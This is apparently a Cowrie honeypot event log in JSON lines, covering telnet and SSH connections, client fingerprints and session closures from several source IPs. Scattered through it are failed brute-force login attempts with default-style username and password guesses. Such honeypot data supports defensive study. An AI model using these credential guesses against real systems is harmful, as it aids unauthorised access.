{"eventid":"cowrie.session.closed","duration":30.833279132843018,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:42.567540Z","src_ip":"213.136.75.179","session":"e3c6145c66ce","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"git","password":"asdf1234","message":"login attempt [git/asdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:43.051865Z","src_ip":"20.244.18.126","session":"298b41f28889","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.851966381072998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:43.106826Z","src_ip":"213.136.75.179","session":"36b3fc1ab598","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.253143548965454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:43.130114Z","src_ip":"159.223.86.167","session":"f5c72202a086","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.322485208511353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:43.231373Z","src_ip":"159.223.86.167","session":"f36df8c20ead","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55544,"dst_ip":"10.17.0.5","dst_port":22,"session":"75f98e4a8f53","protocol":"ssh","message":"New connection: 176.65.139.103:55544 (10.17.0.5:22) [session: 75f98e4a8f53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:43.397789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:43.406740Z","src_ip":"176.65.139.103","session":"75f98e4a8f53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:43.494001Z","src_ip":"176.65.139.103","session":"75f98e4a8f53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234567","message":"login attempt [user1/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:43.769270Z","src_ip":"176.65.139.103","session":"75f98e4a8f53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.865641593933105,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:43.814208Z","src_ip":"213.136.75.179","session":"1c0de772f772","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43267273902893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:44.210477Z","src_ip":"155.117.234.131","session":"f6a774b7a2c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:44.243151Z","src_ip":"20.244.18.126","session":"298b41f28889","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:44.855170Z","src_ip":"176.65.139.103","session":"75f98e4a8f53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.8661630153656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:45.295571Z","src_ip":"159.223.86.167","session":"3f6185416ca3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.16723370552063,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:45.325181Z","src_ip":"213.136.75.179","session":"9384582675a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":55466,"dst_ip":"10.17.0.5","dst_port":23,"session":"a307eb0c6098","protocol":"telnet","message":"New connection: 213.136.75.179:55466 (10.17.0.5:23) [session: a307eb0c6098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:45.495932Z"}
{"eventid":"cowrie.session.closed","duration":34.18370509147644,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:45.732230Z","src_ip":"213.136.75.179","session":"94433dfae54b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":55482,"dst_ip":"10.17.0.5","dst_port":23,"session":"59b723363d9a","protocol":"telnet","message":"New connection: 213.136.75.179:55482 (10.17.0.5:23) [session: 59b723363d9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:46.021359Z"}
{"eventid":"cowrie.session.closed","duration":35.47309422492981,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:46.026407Z","src_ip":"213.136.75.179","session":"e173a1c10a9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":55488,"dst_ip":"10.17.0.5","dst_port":23,"session":"5684ad4c32af","protocol":"telnet","message":"New connection: 213.136.75.179:55488 (10.17.0.5:23) [session: 5684ad4c32af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:46.031207Z"}
{"eventid":"cowrie.session.closed","duration":32.04500961303711,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:46.247086Z","src_ip":"213.136.75.179","session":"ec975f40382f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.5781307220459,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:46.392216Z","src_ip":"213.136.75.179","session":"d4576f3cf571","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.396013975143433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:46.857246Z","src_ip":"159.223.86.167","session":"b0f1f67ac6a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.623348712921143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:48.082548Z","src_ip":"5.189.178.126","session":"30d4c21c2ca1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.110520601272583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:48.404599Z","src_ip":"159.223.86.167","session":"a4e1852b960a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.388373136520386,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:48.450055Z","src_ip":"213.136.75.179","session":"b51566a546eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71694827079773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:48.477266Z","src_ip":"159.223.86.167","session":"c83584605406","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.653262853622437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:48.563451Z","src_ip":"159.223.86.167","session":"a49ae123a99e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":33640,"dst_ip":"10.17.0.5","dst_port":23,"session":"1aa6c2c9e5c3","protocol":"telnet","message":"New connection: 213.136.75.179:33640 (10.17.0.5:23) [session: 1aa6c2c9e5c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:48.885455Z"}
{"eventid":"cowrie.session.closed","duration":32.90304470062256,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:49.067894Z","src_ip":"213.136.75.179","session":"11e3af973f68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.052573442459106,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:49.130610Z","src_ip":"159.223.86.167","session":"e7253df727e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":33648,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c262b907a3a","protocol":"telnet","message":"New connection: 213.136.75.179:33648 (10.17.0.5:23) [session: 8c262b907a3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:49.614468Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":58118,"dst_ip":"159.203.135.109","dst_port":23,"session":"6819824b5483","protocol":"telnet","message":"New connection: 159.223.86.167:58118 (159.203.135.109:23) [session: 6819824b5483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:49.655923Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55566,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3bfe90104cc","protocol":"ssh","message":"New connection: 176.65.139.103:55566 (10.17.0.5:22) [session: e3bfe90104cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:50.060997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:50.065871Z","src_ip":"176.65.139.103","session":"e3bfe90104cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:50.147602Z","src_ip":"176.65.139.103","session":"e3bfe90104cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.816811084747314,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:50.239134Z","src_ip":"213.136.75.179","session":"d1ad1ebb5da3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":33876,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1d1a5190fd3","protocol":"telnet","message":"New connection: 23.254.167.244:33876 (159.203.135.109:23) [session: e1d1a5190fd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:50.298371Z"}
{"eventid":"cowrie.login.failed","username":"node","password":"123456","message":"login attempt [node/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:50.393750Z","src_ip":"176.65.139.103","session":"e3bfe90104cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":35650,"dst_ip":"159.203.135.109","dst_port":23,"session":"f92a50863a03","protocol":"telnet","message":"New connection: 159.223.86.167:35650 (159.203.135.109:23) [session: f92a50863a03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:51.187089Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:51.518266Z","src_ip":"176.65.139.103","session":"e3bfe90104cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.268319606781006,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:51.609172Z","src_ip":"213.136.75.179","session":"5eba1660f7f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":33664,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0dd098bd872","protocol":"telnet","message":"New connection: 213.136.75.179:33664 (10.17.0.5:23) [session: a0dd098bd872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:51.883031Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":3664,"dst_ip":"10.17.0.5","dst_port":22,"session":"17623cb7036f","protocol":"ssh","message":"New connection: 74.87.117.149:3664 (10.17.0.5:22) [session: 17623cb7036f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:52.003834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:52.008084Z","src_ip":"74.87.117.149","session":"17623cb7036f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:52.031682Z","src_ip":"74.87.117.149","session":"17623cb7036f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456Kk","message":"login attempt [ubuntu/123456Kk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:52.161002Z","src_ip":"74.87.117.149","session":"17623cb7036f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.360987424850464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:52.185757Z","src_ip":"159.223.86.167","session":"a7b285ffd467","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":33680,"dst_ip":"10.17.0.5","dst_port":23,"session":"8449faa78cf2","protocol":"telnet","message":"New connection: 213.136.75.179:33680 (10.17.0.5:23) [session: 8449faa78cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:52.233529Z"}
{"eventid":"cowrie.session.closed","duration":32.31144165992737,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:52.270734Z","src_ip":"213.136.75.179","session":"ec605deae63b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.817567348480225,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:52.329613Z","src_ip":"159.223.86.167","session":"f4f574219655","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":40662,"dst_ip":"159.203.135.109","dst_port":23,"session":"8380142df06d","protocol":"telnet","message":"New connection: 159.223.86.167:40662 (159.203.135.109:23) [session: 8380142df06d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:52.475849Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":42134,"dst_ip":"159.203.135.109","dst_port":23,"session":"bccd01ca1869","protocol":"telnet","message":"New connection: 159.223.86.167:42134 (159.203.135.109:23) [session: bccd01ca1869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:52.777736Z"}
{"eventid":"cowrie.session.closed","duration":31.374395847320557,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:52.863748Z","src_ip":"213.136.75.179","session":"5800b1f8b2f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87133288383484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:53.117931Z","src_ip":"5.189.178.126","session":"80db916cc3fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.856005668640137,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:53.177608Z","src_ip":"159.223.86.167","session":"83f265de6f75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.85342741012573,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:53.182034Z","src_ip":"213.136.75.179","session":"b009a829be76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:53.187855Z","src_ip":"74.87.117.149","session":"17623cb7036f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.8356237411499,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:54.168614Z","src_ip":"213.136.75.179","session":"66b88aaff827","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.793503761291504,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:54.255613Z","src_ip":"213.136.75.179","session":"7ef7be78e8a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.981814861297607,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:54.835962Z","src_ip":"213.136.75.179","session":"7bc3910ee820","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81888198852539,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:55.280580Z","src_ip":"159.223.86.167","session":"16835c7a5316","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":33686,"dst_ip":"10.17.0.5","dst_port":23,"session":"75cd532bf00b","protocol":"telnet","message":"New connection: 213.136.75.179:33686 (10.17.0.5:23) [session: 75cd532bf00b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:55.976012Z"}
{"eventid":"cowrie.session.closed","duration":31.803237199783325,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:56.118998Z","src_ip":"159.223.86.167","session":"546fcf51ffa4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":33694,"dst_ip":"10.17.0.5","dst_port":23,"session":"9428fe16ee7c","protocol":"telnet","message":"New connection: 213.136.75.179:33694 (10.17.0.5:23) [session: 9428fe16ee7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:56.405947Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":48368,"dst_ip":"10.17.0.5","dst_port":22,"session":"02ce707667cf","protocol":"ssh","message":"New connection: 176.65.139.103:48368 (10.17.0.5:22) [session: 02ce707667cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:56.438986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:56.443927Z","src_ip":"176.65.139.103","session":"02ce707667cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.160516023635864,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:56.489511Z","src_ip":"213.136.75.179","session":"67f8bf82c55b","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-